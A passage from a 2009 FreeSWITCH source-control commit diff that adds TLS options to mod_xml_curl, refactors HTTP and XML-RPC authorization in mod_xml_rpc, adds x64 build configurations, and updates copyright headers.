-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url, data);
-		xml = NULL;
 	}
 
 	/* Debug by leaving the file behind for review */
@@ -276,7 +339,14 @@
 		char *method = NULL;
 		int disable100continue = 0;
 		int use_dynamic_url = 0;
-		uint32_t ignore_cacert_check = 0;
+		uint32_t enable_cacert_check = 0;
+		char *ssl_cert_file = NULL;
+		char *ssl_key_file = NULL;
+		char *ssl_key_password = NULL;
+		char *ssl_version = NULL;
+		char *ssl_cacert_file = NULL;
+		uint32_t enable_ssl_verifyhost = 0;
+		char *cookie_file = NULL;
 		hash_node_t* hash_node;
 		need_vars_map = 0;
 		vars_map = NULL;
@@ -295,8 +365,22 @@
 				disable100continue = 1;
 			} else if (!strcasecmp(var, "method")) {
 				method = val;
-			} else if (!strcasecmp(var, "ignore-cacert-check") && switch_true(val)) {
-				ignore_cacert_check = 1;
+			} else if (!strcasecmp(var, "enable-cacert-check") && switch_true(val)) {
+				enable_cacert_check = 1;
+			} else if (!strcasecmp(var, "ssl-cert-path")) {
+				ssl_cert_file = val;
+			} else if (!strcasecmp(var, "ssl-key-path")) {
+				ssl_key_file = val;
+			} else if (!strcasecmp(var, "ssl-key-password")) {
+				ssl_key_password = val;
+			} else if (!strcasecmp(var, "ssl-version")) {
+				ssl_version = val;
+			} else if (!strcasecmp(var, "ssl-cacert-file")) {
+				ssl_cacert_file = val;
+			} else if (!strcasecmp(var, "enable-ssl-verifyhost") && switch_true(val)) {
+				enable_ssl_verifyhost = 1;
+			} else if (!strcasecmp(var, "cookie-file")) {
+				cookie_file = val;
 			} else if (!strcasecmp(var, "use-dynamic-url") && switch_true(val)) {
 				use_dynamic_url = 1;
 			} else if (!strcasecmp(var, "enable-post-var")) {
@@ -349,7 +433,33 @@
 		binding->disable100continue = disable100continue;
 		binding->use_get_style = method != NULL && strcasecmp(method,"post") != 0;
 		binding->use_dynamic_url = use_dynamic_url;
-		binding->ignore_cacert_check = ignore_cacert_check;
+		binding->enable_cacert_check = enable_cacert_check;
+		
+		if (ssl_cert_file) {
+			binding->ssl_cert_file = strdup(ssl_cert_file);
+		}
+		
+		if (ssl_key_file) {
+			binding->ssl_key_file = strdup(ssl_key_file);
+		}
+		
+		if (ssl_key_password) {
+			binding->ssl_key_password = strdup(ssl_key_password);
+		}
+		
+		if (ssl_version) {
+			binding->ssl_version = strdup(ssl_version);
+		}
+		
+		if (ssl_cacert_file) {
+			binding->ssl_cacert_file = strdup(ssl_cacert_file);
+		}
+		
+		binding->enable_ssl_verifyhost = enable_ssl_verifyhost;
+		
+		if (cookie_file) {
+			binding->cookie_file = strdup(cookie_file);
+		}
 
 		binding->vars_map = vars_map;
 		

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /*
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  *
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
  * Justin Cassidy <xachenant@hotmail.com>
  * John Skopis <john+fs@skopis.com>

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -186,7 +186,7 @@
 				char *n = (char *) switch_xml_attr_soft(tran, "name");
 				char *m = (char *) switch_xml_attr_soft(tran, "mapfrom");
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, " adding map %s => %s\n", m , n);
-				if(!strncasecmp("id",n,strlen(n))) {
+				if (!strncasecmp("id",n,strlen(n))) {
 					attr_list->type = LDAP_EXTEN_ID;
 					attr_list->len = strlen(m);
 					attr_list->val = strdup(m);
@@ -530,9 +530,9 @@
 
 
 
-    if( (ldap_initialize(&ld,binding->url)) != LDAP_SUCCESS ) goto cleanup;
-    if( (ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS ) goto cleanup;
-    if( (ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS ) goto cleanup;
+    if ( (ldap_initialize(&ld,binding->url)) != LDAP_SUCCESS ) goto cleanup;
+    if ( (ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS ) goto cleanup;
+    if ( (ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS ) goto cleanup;
 
 	switch (binding->bt) {
 		case XML_LDAP_CONFIG:
@@ -564,7 +564,7 @@
     printf("providing:\n%s\n", buf);
 	switch_safe_free(buf);
 
-	if(ret != SWITCH_STATUS_SUCCESS) {
+	if (ret != SWITCH_STATUS_SUCCESS) {
 		switch_xml_free(xml);
 		return NULL;
 	}

Property changes: freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\include&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\lib\abyss\src&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\lib\util\include&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\Windows&quot;"
+				PreprocessorDefinitions="ABYSS_WIN32"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
@@ -144,6 +214,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\curl.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\include&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\lib\abyss\src&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\lib\util\include&quot;;&quot;$(InputDir)..\..\..\..\libs\xmlrpc-c\Windows&quot;"
+				PreprocessorDefinitions="ABYSS_WIN32"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,14 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * John Wehle <john@feith.com>
  *
  *
  * mod_xml_rpc.c -- XML RPC
@@ -56,25 +57,30 @@
 	char *realm;
 	char *user;
 	char *pass;
+	char *default_domain;
+	switch_bool_t virtual_host;
 	TServer abyssServer;
 } globals;
 
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_realm, globals.realm);
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_user, globals.user);
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_pass, globals.pass);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_default_domain, globals.default_domain);
 
 static switch_status_t do_config(void)
 {
 	char *cf = "xml_rpc.conf";
 	switch_xml_t cfg, xml, settings, param;
-	char *realm, *user, *pass;
+	char *realm, *user, *pass, *default_domain;
 
-	realm = user = pass = NULL;
+	default_domain = realm = user = pass = NULL;
 	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
 		return SWITCH_STATUS_TERM;
 	}
 
+	globals.virtual_host = SWITCH_TRUE;
+
 	if ((settings = switch_xml_child(cfg, "settings"))) {
 		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
 			char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -88,6 +94,10 @@
 				pass = val;
 			} else if (!strcasecmp(var, "http-port")) {
 				globals.port = (uint16_t) atoi(val);
+			} else if (!strcasecmp(var, "default-domain")) {
+				default_domain = val;
+			} else if (!strcasecmp(var, "virtual-host")) {
+				globals.virtual_host = switch_true(val);
 			}
 		}
 	}
@@ -102,6 +112,9 @@
 			set_global_pass(pass);
 		}
 	}
+	if (default_domain) {
+		set_global_default_domain(default_domain);
+	}
 	switch_xml_free(xml);
 
 	return SWITCH_STATUS_SUCCESS;
@@ -148,6 +161,143 @@
 	return ret ? SWITCH_STATUS_FALSE : SWITCH_STATUS_SUCCESS;
 }
 
+static abyss_bool user_attributes (const char *user, const char *domain_name,
+                                   const char **ppasswd, const char **pvm_passwd,
+                                   const char **palias, const char **pallowed_commands)
+{
+	const char *passwd;
+	const char *vm_passwd;
+	const char *alias;
+	const char *allowed_commands;
+	switch_event_t *params;
+	switch_xml_t x_domain, x_domain_root, x_user, x_params, x_param;
+
+	passwd = NULL;
+	vm_passwd = NULL;
+	alias = NULL;
+	allowed_commands = NULL;
+
+	params = NULL;
+	x_domain_root = NULL;
+
+	switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
+	switch_assert(params);
+	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "number_alias", "check");
+				
+	if (switch_xml_locate_user("id", user, domain_name, NULL, &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
+		switch_event_destroy(&params);
+		if (x_domain_root) {
+			switch_xml_free(x_domain_root);
+		}
+		return FALSE;
+	}
+
+	switch_event_destroy(&params);
+	alias = switch_xml_attr(x_user, "number-alias");
+
+	if ((x_params = switch_xml_child(x_domain, "params"))) {
+	
+		for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
+			const char *var = switch_xml_attr_soft(x_param, "name");
+			const char *val = switch_xml_attr_soft(x_param, "value");
+			
+			if (!strcasecmp(var, "password")) {
+				passwd = val;
+			} else if (!strcasecmp(var, "vm-password")) {
+				vm_passwd = val;
+			} else if (!strcasecmp(var, "http-allowed-api")) {
+				allowed_commands = val;
+			}
+		}
+	}
+
+	if ((x_params = switch_xml_child(x_user, "params"))) {
+
+		for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
+			const char *var = switch_xml_attr_soft(x_param, "name");
+			const char *val = switch_xml_attr_soft(x_param, "value");
+		
+			if (!strcasecmp(var, "password")) {
+				passwd = val;
+			} else if (!strcasecmp(var, "vm-password")) {
+				vm_passwd = val;
+			} else if (!strcasecmp(var, "http-allowed-api")) {
+				allowed_commands = val;
+			}
+		}
+	}
+
+	if (x_domain_root) {
+		switch_xml_free(x_domain_root);
+	}
+
+	if (ppasswd)
+		*ppasswd = passwd;
+	if (pvm_passwd)
+		*pvm_passwd = vm_passwd;
+	if (palias)
+		*palias = alias;
+	if (pallowed_commands)
+		*pallowed_commands = allowed_commands;
+
+	return TRUE;
+}
+
+static abyss_bool is_authorized (const TSession *r, const char *command)
+{
+	char *user = NULL, *domain_name = NULL;
+	char *allowed_commands;
+	char *dp;
+	char *dup;
+	char *argv[256] = { 0 };
+	int argc;
+	int i;
+
+	if (!r || !r->requestInfo.user)
+		return FALSE;
+
+	user = strdup(r->requestInfo.user);
+
+	if ((dp = strchr(user, '@'))) {
+		*dp++ = '\0';
+		domain_name = dp;
+	}
+
+	if (switch_strlen_zero(user) || switch_strlen_zero(domain_name)) {
+		switch_safe_free(user);
+		return FALSE;
+	}
+
+	if (!switch_strlen_zero(globals.realm) && !switch_strlen_zero(globals.user) && !strcmp(user, globals.user)) {
+		switch_safe_free(user);
+		return TRUE;
+	}
+
+	if (!user_attributes (user, domain_name, NULL, NULL, NULL, &allowed_commands)) {
+		switch_safe_free(user);
+		return FALSE;
+	}
+
+	switch_safe_free(user);
+
+	if (!allowed_commands)
+		return FALSE;
+
+	dup = strdup (allowed_commands);
+	argc = switch_separate_string (dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
+
+	for (i = 0; i < argc; i++) {
+		if (!strcasecmp(argv[i], command)
+                    || !strcasecmp(argv[i], "any")) {
+			break;
+		}
+	}
+
+	switch_safe_free (dup);
+
+	return i < argc ? TRUE : FALSE;
+}
+
 static abyss_bool http_directory_auth(TSession *r, char *domain_name)
 {
 	char *p;
@@ -156,10 +306,8 @@
 	char user[512];
 	char *pass;
 	const char *mypass1 = NULL, *mypass2 = NULL;
-	switch_xml_t x_domain, x_domain_root = NULL, x_user, x_params, x_param;
-	const char *box;
+	const char *box = NULL;
 	int at = 0;
-	switch_event_t *params = NULL;
 	char *dp;
 
 	p = RequestHeaderValue(r, "authorization");
@@ -182,83 +330,45 @@
 				}
 				
 				if (!domain_name) {
-					if (dp) {
-						domain_name = dp;
-						at++;
-					} else {
+					if (globals.virtual_host) {
 						domain_name = (char *) r->requestInfo.host;
 						if (!strncasecmp(domain_name, "www.", 3)) {
 							domain_name += 4;
 						}
+					} else if (globals.default_domain) {
+						domain_name = globals.default_domain;
+					} else {
+						domain_name = switch_core_get_variable("domain");
 					}
 				}
 
-				if (!domain_name) {
+				if (switch_strlen_zero(user) || switch_strlen_zero(domain_name)) {
 					goto fail;
 				}
 
-				if (!switch_strlen_zero(globals.user)) {
-					switch_snprintf(z, sizeof(z), "%s:%s", globals.user, globals.pass);
+				if (!switch_strlen_zero(globals.realm) && !switch_strlen_zero(globals.user) && !switch_strlen_zero(globals.pass)) {
+					if (at) {
+						switch_snprintf(z, sizeof(z), "%s@%s:%s", globals.user, globals.realm, globals.pass);
+					} else {
+						switch_snprintf(z, sizeof(z), "%s:%s", globals.user, globals.pass);
+					}
 					Base64Encode(z, t);
 
 					if (!strcmp(p, t)) {
-						r->requestInfo.user = strdup(user);
 						goto authed;
 					}
 				}
 
-				switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
-				switch_assert(params);
-				switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "mailbox", "check");
-				
-				if (switch_xml_locate_user("id", user, domain_name, NULL, &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
-					switch_event_destroy(&params);
+				if (!user_attributes (user, domain_name, &mypass1, &mypass2, &box, NULL)) {
 					goto fail;
 				}
 
-				switch_event_destroy(&params);
-				box = switch_xml_attr_soft(x_user, "mailbox");
 
-				if ((x_params = switch_xml_child(x_domain, "params"))) {
-				
-					for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
-						const char *var = switch_xml_attr_soft(x_param, "name");
-						const char *val = switch_xml_attr_soft(x_param, "value");
-						
-						if (!strcasecmp(var, "password")) {
-							mypass1 = val;
-						} else if (!strcasecmp(var, "vm-password")) {
-							mypass2 = val;
-						} else if (!strncasecmp(var, "http-", 5)) {
-							ResponseAddField(r, (char *) var, (char *) val);
-						}
-					}
-				}
-
-				if (!(x_params = switch_xml_child(x_user, "params"))) {
-					r->requestInfo.user = strdup(user);
-					goto authed;
-				}
-
-				for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
-					const char *var = switch_xml_attr_soft(x_param, "name");
-					const char *val = switch_xml_attr_soft(x_param, "value");
-					
-					if (!strcasecmp(var, "password")) {
-						mypass1 = val;
-					} else if (!strcasecmp(var, "vm-password")) {
-						mypass2 = val;
-					} else if (!strncasecmp(var, "http-", 5)) {
-						ResponseAddField(r, (char *) var, (char *) val);
-					}
-				}
-
 				if (!switch_strlen_zero(mypass2) && !strcasecmp(mypass2, "user-choose")) {
 					mypass2 = NULL;
 				}
 
 				if (!mypass1) {
-					r->requestInfo.user = strdup(user);
 					goto authed;
 				} else {
 					if (at) {
@@ -269,7 +379,6 @@
 					Base64Encode(z, t);
 
 					if (!strcmp(p, t)) {
-						r->requestInfo.user = strdup(box ? box : user);
 						goto authed;
 					}
 
@@ -282,7 +391,6 @@
 						Base64Encode(z, t);
 
 						if (!strcmp(p, t)) {
-							r->requestInfo.user = strdup(box ? box : user);
 							goto authed;
 						}
 					}
@@ -296,7 +404,6 @@
 						Base64Encode(z, t);
 
 						if (!strcmp(p, t)) {
-							r->requestInfo.user = strdup(box);
 							goto authed;
 						}
 
@@ -310,7 +417,6 @@
 							Base64Encode(z, t);
 
 							if (!strcmp(p, t)) {
-								r->requestInfo.user = strdup(box);
 								goto authed;
 							}
 						}
@@ -320,26 +426,19 @@
 
 			  authed:
 				
-				if (r->requestInfo.user && domain_name) {
-					ResponseAddField(r, "freeswitch-user", r->requestInfo.user);
-					ResponseAddField(r, "freeswitch-domain", domain_name);
+				switch_snprintf(z, sizeof(z), "%s@%s", (box ? box : user), domain_name);
+				r->requestInfo.user = strdup(z);
 
-					if (x_domain_root) {
-						switch_xml_free(x_domain_root);
-					}
+				ResponseAddField(r, "freeswitch-user", (box ? box : user));
+				ResponseAddField(r, "freeswitch-domain", domain_name);
 
-					return TRUE;
-				}
+				return TRUE;
 			}
 		}
 	}
 
   fail:
 
-	if (x_domain_root) {
-		switch_xml_free(x_domain_root);
-	}
-
 	switch_snprintf(z, sizeof(z), "Basic realm=\"%s\"", domain_name ? domain_name : globals.realm);
 	ResponseAddField(r, "WWW-Authenticate", z);
 	ResponseStatus(r, 401);
@@ -445,20 +544,19 @@
 	char buf[80] = "HTTP/1.1 200 OK\n";
 	switch_stream_handle_t stream = { 0 };
 	char *command;
-	int i, j = 0;
+	int i;
 	TTableItem *ti;
-	char *dup = NULL;
-	int auth = 0;
 	char *fs_user = NULL, *fs_domain = NULL;
 	char *path_info = NULL;
 	abyss_bool ret = TRUE;
 	int html = 0, text = 0, xml = 0;
+	const char *api_str;
 
 	stream.data = r;
 	stream.write_function = http_stream_write;
 	stream.raw_write_function = http_stream_raw_write;
 
-	if (!r || !r->requestInfo.uri) {
+	if (!r || !r->requestInfo.uri || !r->requestInfo.user) {
 		return FALSE;
 	}
 
@@ -487,41 +585,16 @@
 			fs_user = ti->value;
 		} else if (!strcasecmp(ti->name, "freeswitch-domain")) {
 			fs_domain = ti->value;
-		} else if (!strcasecmp(ti->name, "http-allowed-api")) {
-			int argc, x;
-			char *argv[256] = { 0 };
-			j++;
-
-			if (!strcasecmp(ti->value, "any")) {
-				auth++;
-			}
-
-			dup = strdup(ti->value);
-			argc = switch_separate_string(dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
-
-			for (x = 0; x < argc; x++) {
-				if (!strcasecmp(command, argv[x])) {
-					auth++;
-				}
-			}
 		}
 	}
 
-	if (!fs_user || (!switch_strlen_zero(globals.user) && !strcmp(fs_user, globals.user))) {
-		auth = 1;
-	} else {
-		if (!j) {
-			auth = 0;
-		}
+	if (is_authorized(r, command)) {
+		goto auth;
 	}
 
-	if (auth) {
-		goto auth;
-	}
 	//unauth:
 	ResponseStatus(r, 403);
 	ResponseError(r);
-	switch_safe_free(dup);
 
 	ret = TRUE;
 	goto end;
@@ -681,8 +754,17 @@
 		ConnWrite(r->conn, "\r\n", 2);
 	}
 
+	if (switch_stristr("unload", command) && switch_stristr("mod_xml_rpc", r->requestInfo.query)) {
+		command = "bgapi";
+		api_str = "unload mod_xml_rpc";
+	} else if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", r->requestInfo.query)) {
+		command = "bgapi";
+		api_str = "reload mod_xml_rpc";
+	} else {
+		api_str = r->requestInfo.query;
+	}
 
-	if (switch_api_execute(command, r->requestInfo.query, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
+	if (switch_api_execute(command, api_str, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
 		ResponseStatus(r, 200);
 		r->responseStarted = TRUE;
 		//r->done = TRUE;
@@ -706,12 +788,14 @@
 	return ret;
 }
 
-static xmlrpc_value *freeswitch_api(xmlrpc_env * const envP, xmlrpc_value * const paramArrayP, void *const userData)
+static xmlrpc_value *freeswitch_api(xmlrpc_env * const envP, xmlrpc_value * const paramArrayP, void *const userData, void *const callInfo)
 {
 	char *command = NULL, *arg = NULL;
 	switch_stream_handle_t stream = { 0 };
 	xmlrpc_value *val = NULL;
+	switch_bool_t freed = 0;
 
+
 	/* Parse our argument array. */
 	xmlrpc_decompose_value(envP, paramArrayP, "(ss)", &command, &arg);
 
@@ -720,6 +804,25 @@
 		return NULL;
 	}
 
+	if (!is_authorized((const TSession *)callInfo, command)) {
+		val = xmlrpc_build_value(envP, "s", "UNAUTHORIZED!");
+		goto end;
+	}
+
+	if (switch_stristr("unload", command) && switch_stristr("mod_xml_rpc", arg)) {
+		switch_safe_free(command);
+		switch_safe_free(arg);
+		freed = 1;
+		command = "bgapi";
+		arg = "unload mod_xml_rpc";
+	} else 	if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", arg)) {
+		switch_safe_free(command);
+		switch_safe_free(arg);
+		freed = 1;
+		command = "bgapi";
+		arg = "reload mod_xml_rpc";
+	}
+
 	SWITCH_STANDARD_STREAM(stream);
 	if (switch_api_execute(command, arg, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
 		/* Return our result. */
@@ -729,9 +832,14 @@
 		val = xmlrpc_build_value(envP, "s", "ERROR!");
 	}
 
+end:
+
 	/* xmlrpc-c requires us to free memory it malloced from xmlrpc_decompose_value */
-	switch_safe_free(command);
-	switch_safe_free(arg);
+	if (!freed) {
+		switch_safe_free(command);
+		switch_safe_free(arg);
+	}
+
 	return val;
 }
 
@@ -805,8 +913,8 @@
 
 	registryP = xmlrpc_registry_new(&env);
 
-	xmlrpc_registry_add_method(&env, registryP, NULL, "freeswitch.api", &freeswitch_api, NULL);
-	xmlrpc_registry_add_method(&env, registryP, NULL, "freeswitch_api", &freeswitch_api, NULL);
+	xmlrpc_registry_add_method2(&env, registryP, "freeswitch.api", &freeswitch_api, NULL, NULL, NULL);
+	xmlrpc_registry_add_method2(&env, registryP, "freeswitch_api", &freeswitch_api, NULL, NULL, NULL);
 	xmlrpc_registry_add_method(&env, registryP, NULL, "freeswitch.management", &freeswitch_man, NULL);
 	xmlrpc_registry_add_method(&env, registryP, NULL, "freeswitch_management", &freeswitch_man, NULL);
 
@@ -851,6 +959,10 @@
 		switch_yield(100000);
 	} while (globals.running);
 
+	switch_safe_free(globals.realm);
+	switch_safe_free(globals.user);
+	switch_safe_free(globals.pass);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 

Modified: freeswitch/branches/seven/src/switch.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Pawel Pierscionek <pawel@voiceworks.pl>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -37,6 +37,12 @@
 #define _XOPEN_SOURCE 600
 #endif
 
+#ifndef WIN32
+#ifdef HAVE_SETRLIMIT
+#include <sys/resource.h>
+#endif
+#endif
+
 #include <switch.h>
 #include "private/switch_core_pvt.h"
 
@@ -165,7 +171,7 @@
 /* the main service entry point */
 void WINAPI service_main(DWORD numArgs, char **args)
 {
-	switch_core_flag_t flags = SCF_USE_SQL;
+	switch_core_flag_t flags = SCF_USE_SQL | SCF_USE_AUTO_NAT;
 	const char *err = NULL;		/* error value for return from freeswitch initialization */
